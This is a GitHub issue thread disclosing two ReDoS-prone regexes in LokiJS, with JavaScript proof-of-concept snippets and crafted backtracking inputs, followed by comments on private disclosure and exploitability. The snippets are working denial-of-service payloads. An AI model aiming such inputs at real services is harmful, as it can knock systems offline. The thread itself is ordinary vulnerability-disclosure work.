Regular Expression DoS vulnerability

[yinxiL]

We are working on the ReDoS problem and detected 2 vulnerable regex(es) from your repository.

1: ^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*" in LokiJS/docs/scripts/prettify/lang-css.js 2: ^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))? in LokiJS/examples/sandbox/sandbox.min.js

Please try the following:

var pattern = "^\"(?:[^\\n\\f\\r\"\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*\"";
var input = "\"\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\\\n\n";
var re = new RegExp(pattern);
var matched = input.match(re);

var pattern = "^(?:\\s+(?:\"(?:[^\"\\\\]|\\\\\\\\|\\\\.)+\"|'(?:[^'\\\\]|\\\\\\\\|\\\\.)+'|\\((?:[^)\\\\]|\\\\\\\\|\\\\.)+\\)))?";
var input = " '\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\";
var re = new RegExp(pattern);
var matched = input.match(re);

We didn’t create a pull request because we're not sure if these cases are possible to take place in your program, we also do not understand the functionality of these regexes as you do. Thank you for your understanding.

[CodeWithOz]

@linci8210 nice catch and nice work :+1: . I'm not a maintainer or contributor so I can't move this issue further, but perhaps this would be better disclosed in a private manner? My worry is that any attacker can see this git issue and try to exploit the vulnerability before the maintainers fix it.

[snoopysecurity]

Hey @linci8210 , is this exploitable through the library itself? I don't see any way to trigger this through the library

[stale[bot]]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.